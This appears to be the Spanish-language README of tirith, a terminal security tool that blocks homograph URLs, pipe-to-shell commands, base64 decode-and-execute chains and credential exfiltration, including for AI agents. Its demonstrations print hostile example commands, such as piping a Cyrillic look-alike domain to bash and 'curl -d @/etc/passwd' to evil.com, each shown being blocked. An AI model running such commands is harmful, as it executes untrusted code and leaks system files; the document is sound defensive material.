
tirith v0.4.2
Seguridad en terminal para desarrolladores y agentes de IA. Intercepta URLs homógrafas, pipe-to-shell, inyección ANSI, payloads ofuscados, exfiltración de datos y skills/configuraciones maliciosas de IA antes de que se ejecuten.
tirith
Tu navegador detectaría esto. Tu terminal no.
Sitio web | Documentación | SKILL.md | Registro de cambios | Versiones
Proyecto de código abierto independiente, con alojamiento respaldado por el Vercel Open Source Program (Spring 2026 Cohort).
¿Puedes detectar la diferencia?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised
No puedes. Tu terminal tampoco. Ambos caracteres `і` son cirílicos (U+0456), no la `i` latina. La segunda URL resuelve al servidor de un atacante. El script se ejecuta antes de que te des cuenta.
Los navegadores resolvieron esto hace años. Los terminales todavía renderizan Unicode, secuencias de escape ANSI y caracteres invisibles sin cuestionarlos. Los agentes de IA ejecutan comandos de shell e instalan paquetes sin inspeccionar lo que hay dentro.
**Tirith monta guardia en la puerta.** Intercepta comandos, contenido pegado y archivos escaneados en busca de URLs homógrafas, payloads ofuscados, exfiltración de credenciales, skills/configs de IA maliciosos y paquetes/dominios/IPs maliciosos conocidos desde una base de datos de inteligencia de amenazas firmada antes de que se ejecuten.```bash
brew install tirith
Luego actívalo en el perfil de tu shell:```bash
zsh
eval "$(tirith init --shell zsh)"
bash
eval "$(tirith init --shell bash)"
fish
tirith init --shell fish | source
> [!TIP]
> `eval "$(tirith init)"` detecta automáticamente tu shell actual (inspecciona el proceso padre y recurre a `$SHELL` si es necesario). El flag explícito `--shell` solo es necesario cuando quieres anular la detección.
Eso es todo para la cobertura de shell interactivo. Los comandos aceptados por ese shell se
verifican mientras el hook está cargado y saludable; el comportamiento exacto de bloqueo depende
del shell y del modo. Ejecuta `tirith doctor` después de la instalación y las actualizaciones, y
lee [enforcement by shell](#enforcement-by-shell) antes de tratar el hook como
un límite de autorización. Los comandos limpios permanecen silenciosos y normalmente toman la
ruta rápida.
También disponible a través de [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages), y [más](#install).
---
## Míralo funcionar
**Ataque homográfico, bloqueado antes de la ejecución:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
El comando nunca se ejecuta.
Pipe-to-shell con URL limpia, advertido, no bloqueado:``` $ curl -fsSL https://get.docker.com | sh
tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.
Advertencia se imprime en stderr. El comando aún se ejecuta.
**Cadena de decodificación-ejecución en Base64, bloqueada:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
Detecta también cadenas de decodificación a través de wrappers de sudo/env y -EncodedCommand de PowerShell.
Exfiltración de credenciales, bloqueada:``` $ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server
Cubre todos los flags de carga de curl/wget, variables de entorno (`$AWS_SECRET_ACCESS_KEY`) y sustitución de comandos.
**Archivo de skill malicioso, detectado en el escaneo:**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
Escanea archivos JS/Python en busca de cargas útiles ofuscadas, ejecución dinámica de código y patrones de exfiltración de secretos.
Comandos normales, invisibles:``` $ git status $ ls -la $ docker compose up -d
Nada. Cero salida. Olvidas que tirith se está ejecutando.
---
## Qué detecta
**244 reglas de detección en 35 categorías.**